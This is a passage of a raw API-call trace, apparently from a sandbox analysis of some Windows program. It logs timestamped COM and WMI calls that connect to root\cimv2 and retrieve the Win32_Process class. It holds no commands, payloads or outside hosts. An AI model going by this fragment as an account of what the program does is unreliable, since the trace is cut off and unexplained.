ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0160.846] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc4640, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bcc4840) returned 0x0 [0160.846] WbemLocator:IUnknown:Release (This=0x1bcc4640) returned 0x0 [0160.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4840, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bcc4840) returned 0x0 [0160.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4840, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0160.846] WbemLocator:IUnknown:AddRef (This=0x1bcc4840) returned 0x3 [0160.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4840, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0160.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4840, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0160.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4840, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0160.846] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0160.847] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0160.847] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4840, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0160.847] WbemLocator:IUnknown:Release (This=0x1bcc4840) returned 0x2 [0160.847] WbemLocator:IUnknown:Release (This=0x1bcc4840) returned 0x1 [0160.847] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0160.847] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0160.847] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4840, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcc4840) returned 0x0 [0160.847] WbemLocator:IUnknown:AddRef (This=0x1bcc4840) returned 0x3 [0160.847] WbemLocator:IUnknown:Release (This=0x1bcc4840) returned 0x2 [0160.847] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0160.847] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0160.847] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.847] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bcc43c0) returned 0x0 [0160.847] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc43c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbda7f0) returned 0x0 [0160.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda7f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbddb80) returned 0x0 [0160.898] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbddb80, pProxy=0x1bbda7f0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0160.898] WbemLocator:IUnknown:Release (This=0x1bbddb80) returned 0x1 [0160.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda7f0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbddbc0) returned 0x0 [0160.898] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda7f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbddb80) returned 0x0 [0160.898] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbddb80, pProxy=0x1bbda7f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0160.899] WbemLocator:IUnknown:Release (This=0x1bbddb80) returned 0x2 [0160.899] WbemLocator:IUnknown:Release (This=0x1bbddbc0) returned 0x1 [0160.899] CoTaskMemFree (pv=0x1bc19d10) [0160.899] WbemLocator:IUnknown:AddRef (This=0x1bbda7f0) returned 0x2 [0160.899] WbemLocator:IUnknown:Release (This=0x1bcc43c0) returned 0x0 [0160.899] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0160.899] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0160.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda7f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbddb90) returned 0x0 [0160.900] WbemLocator:IRpcOptions:Query (in: This=0x1bbddb90, pPrx=0x1bcc4480, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0160.900] WbemLocator:IUnknown:Release (This=0x1bbddb90) returned 0x2 [0160.900] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0160.900] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0160.900] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbda7f0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbda7f0) returned 0x0 [0160.900] WbemLocator:IUnknown:Release (This=0x1bbda7f0) returned 0x2 [0160.900] SysStringLen (param_1=0x0) returned 0x0 [0160.900] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0160.900] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0160.900] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.900] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0160.900] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0160.901] IWbemServices:GetObject (in: This=0x1bbda7f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbb84b0, ppCallResult=0x0) returned 0x0 [0160.904] IWbemClassObject:Get (in: This=0x1bbb84b0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0160.904] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0160.904] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0160.904] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0160.904] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0160.904] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0160.904] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.906] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bcc43c0) returned 0x0 [0160.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc43c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0160.906] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc43c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0bcd0) returned 0x0 [0160.906] WbemDefPath:IUnknown:Release (This=0x1bcc43c0) returned 0x0 [0160.906] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0bcd0) returned 0x0 [0160.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0160.907] WbemDefPath:IUnknown:AddRef (This=0x1aa0bcd0) returned 0x3 [0160.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0160.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0160.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bcc4440) returned 0x0 [0160.907] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4440, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.907] WbemDefPath:IUnknown:Release (This=0x1bcc4440) returned 0x3 [0160.907] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0160.907] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0160.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0160.907] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x2 [0160.907] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x1 [0160.908] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0160.908] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0160.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bcd0, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0bcd0) returned 0x0 [0160.908] WbemDefPath:IUnknown:AddRef (This=0x1aa0bcd0) returned 0x3 [0160.908] WbemDefPath:IUnknown:Release (This=0x1aa0bcd0) returned 0x2 [0160.908] WbemDefPath:IWbemPath:SetText (This=0x1aa0bcd0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0160.908] IWbemClassObject:Get (in: This=0x1bbb84b0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0160.908] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.908] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0160.908] IWbemClassObject:Get (in: This=0x1bbb84b0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0160.908] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0160.909] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0160.909] IWbemClassObject:Get (in: This=0x1bbb84b0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0160.909] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0160.909] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0160.909] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0160.909] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0160.909] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0160.909] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.911] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc43a0) returned 0x0 [0160.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc43a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0160.912] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc43a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0bfd0) returned 0x0 [0160.912] WbemDefPath:IUnknown:Release (This=0x1bcc43a0) returned 0x0 [0160.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0bfd0) returned 0x0 [0160.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0160.912] WbemDefPath:IUnknown:AddRef (This=0x1aa0bfd0) returned 0x3 [0160.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0160.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0160.912] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc43e0) returned 0x0 [0160.912] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc43e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.912] WbemDefPath:IUnknown:Release (This=0x1bcc43e0) returned 0x3 [0160.912] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0160.912] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0160.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0160.913] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x2 [0160.913] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x1 [0160.913] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0160.913] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0160.913] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0bfd0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0bfd0) returned 0x0 [0160.913] WbemDefPath:IUnknown:AddRef (This=0x1aa0bfd0) returned 0x3 [0160.913] WbemDefPath:IUnknown:Release (This=0x1aa0bfd0) returned 0x2 [0160.913] WbemDefPath:IWbemPath:SetText (This=0x1aa0bfd0, uMode=0x4, pszPath="") returned 0x0 [0160.913] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0160.913] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0160.913] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0160.913] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.915] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, 